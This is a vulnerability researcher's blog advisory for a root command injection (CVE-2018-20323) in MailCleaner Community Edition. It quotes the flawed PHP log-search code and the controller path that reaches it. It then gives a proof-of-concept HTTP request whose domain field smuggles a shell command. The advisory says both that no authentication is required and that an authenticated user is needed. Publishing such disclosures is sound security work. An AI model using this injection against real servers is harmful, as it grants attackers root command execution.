CVE-2018-20323 | MailCleaner Community Edition Remote Code Execution - Mehmet Ince @mdisec - Vulnerability Researcher | Building security products | Security Advisor | Amateur Muay Thai fighter Skip to content Posts CVE INDEX About Me X LinkedIn YouTube GitHub CVE-2018-20323 | MailCleaner Community Edition Remote Code Execution Dec 19, 2018 In this article, I would like to share a remote code execution vulnerability details of MailCleaner Community Edition product. Advisory Informations Remotely Exploitable: Yes Authentication Required: NO Vendor URL: https://www.mailcleaner.net/ Date of found: 19 Dec 2018 Technical Details I identified command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. Logs.php file which located at www/soap/application/MCSoap has a vulnerability command execution code flow between lines 45-49 (following section) static public function Logs_StartTrace($params) { $trace_id = 0; require_once('MailCleaner/Config.php'); $mcconfig = MailCleaner_Config::getInstance(); if (!isset($params['regexp']) || !$params['datefrom'] || !preg_match('/^\d{8}$/', $params['datefrom']) || !$params['dateto'] || !preg_match('/^\d{8}$/', $params['dateto']) ) { return array('trace_id' = $trace_id); } $cmd = $mcconfig-getOption('SRCDIR')."/bin/search_log.pl ".$params['datefrom']." ".$params['dateto']." '".$params['regexp']."'"; if (isset($params['filter']) && $params['filter'] != '') { $cmd .= " '".$params['filter']."'"; } if (isset($params['hiderejected']) && $params['hiderejected']) { $cmd .= ' -R '; } if (isset($params['trace_id']) && $params['trace_id']) { $trace_id = $params['trace_id']; } else { $trace_id = md5(uniqid(mt_rand(), true)); } $cmd .= " -B ".$trace_id; $cmd .= " ".$mcconfig-getOption('VARDIR')."/run/mailcleaner/log_search/".$trace_id." &"; $res = `$cmd`; return array('trace_id' = $trace_id, 'cmd' = $cmd) ; } static public function Logs_StartTrace($params) { $trace_id = 0; require_once('MailCleaner/Config.php'); $mcconfig = MailCleaner_Config::getInstance(); if (!isset($params['regexp']) || !$params['datefrom'] || !preg_match('/^\d{8}$/', $params['datefrom']) || !$params['dateto'] || !preg_match('/^\d{8}$/', $params['dateto']) ) { return array('trace_id' => $trace_id); } $cmd = $mcconfig->getOption('SRCDIR')."/bin/search_log.pl ".$params['datefrom']." ".$params['dateto']." '".$params['regexp']."'"; if (isset($params['filter']) && $params['filter'] != '') { $cmd .= " '".$params['filter']."'"; } if (isset($params['hiderejected']) && $params['hiderejected']) { $cmd .= ' -R '; } if (isset($params['trace_id']) && $params['trace_id']) { $trace_id = $params['trace_id']; } else { $trace_id = md5(uniqid(mt_rand(), true)); } $cmd .= " -B ".$trace_id; $cmd .= "> ".$mcconfig->getOption('VARDIR')."/run/mailcleaner/log_search/".$trace_id." &"; $res = `$cmd`; return array('trace_id' => $trace_id, 'cmd' => $cmd) ; } As you can see, lines between 20-28 there is an operating system command execution flow. If you look at the code carefully, you can see parameters like filter has been used without validation within the command. I’ve followed all the code flows where Logs_StartTrace has been used. One of these usage was interesting; public function startFetchAll($params) {<br $trace_id = 0;<br $slave = new Default_Model_Slave();<br $slaves = $slave-fetchAll();<br <br foreach ($slaves as $s) {<br $res = $s-sendSoapRequest('Logs_StartTrace', $params);<br if (isset($res['trace_id'])) {<br $trace_id = $res['trace_id'];<br $params['trace_id'] = $trace_id;<br } else {<br continue;<br }<br }<br return $trace_id;<br } public function startFetchAll($params) {<br> $trace_id = 0;<br> $slave = new Default_Model_Slave();<br> $slaves = $slave->fetchAll();<br> <br> foreach ($slaves as $s) {<br> $res = $s->sendSoapRequest('Logs_StartTrace', $params);<br> if (isset($res['trace_id'])) {<br> $trace_id = $res['trace_id'];<br> $params['trace_id'] = $trace_id;<br> } else {<br> continue;<br> }<br> }<br> return $trace_id;<br> } As you can see, our method where we have an issue is being called through soap service. Further analysis showed that startFecthAll method has been used within ManagetracingController like follow. public function searchAction() { // ... OMITTED CODE ... $view-loading = $loading; $view-params = $this-getSearchParams(); $orderfield = 'date'; $orderorder = 'desc'; // ... OMITTED CODE ... } if (isset($session-trace_id) && $session-trace_id) { // ... OMITTED CODE ... } else { ## no search running, launch search if ($request-getParam('domain') != "") { $trace_id = $element-startFetchAll($params); $session-trace_id = $trace_id; } $view-loading = 1; } public function searchAction() { // ... OMITTED CODE ... $view->loading = $loading; $view->params = $this->getSearchParams(); $orderfield = 'date'; $orderorder = 'desc'; // ... OMITTED CODE ... } if (isset($session->trace_id) && $session->trace_id) { // ... OMITTED CODE ... } else { ## no search running, launch search if ($request->getParam('domain') != "") { $trace_id = $element->startFetchAll($params); $session->trace_id = $trace_id; } $view->loading = 1; } Proof Of Concept Following HTTP request successfully triggered vulnerability. POST /admin/managetracing/search/search HTTP/1.1 Host: 12.0.0.100 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Cookie: MCSESS=3m6nk64ebqbf1jsnkc8vkmrg32; Content-Type: application/x-www-form-urlencoded Content-Length: 576 search=bMrpc&domain=';sleep 100;%26&submit=1 POST /admin/managetracing/search/search HTTP/1.1 Host: 12.0.0.100 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Cookie: MCSESS=3m6nk64ebqbf1jsnkc8vkmrg32; Content-Type: application/x-www-form-urlencoded Content-Length: 576 search=bMrpc&domain=';sleep 100;%26&submit=1 Metasploit Module As usual ? Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ You may also enjoy… The Story of a Perfect Exploit Chain: Six Bugs That Looked Harmless Until They Became Pre-Auth RCE in a Security Appliance Jan 2026 Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain (ZDI-25-099, ZDI-25-097, ZDI-25-096) Dec 2025 The Chessboard of Security: Insights on Product Development and Vulnerabilities from a Hacker Perspective Nov 2025 Digital Cosmos: A Journey Through the Galaxy of Vulnerabilities Oct 2025 CVE-2021-3825 | LiderAhenk 0day – All your PARDUS Clients Belongs To Me Dec 2021 Posts CVE INDEX About Me Search Search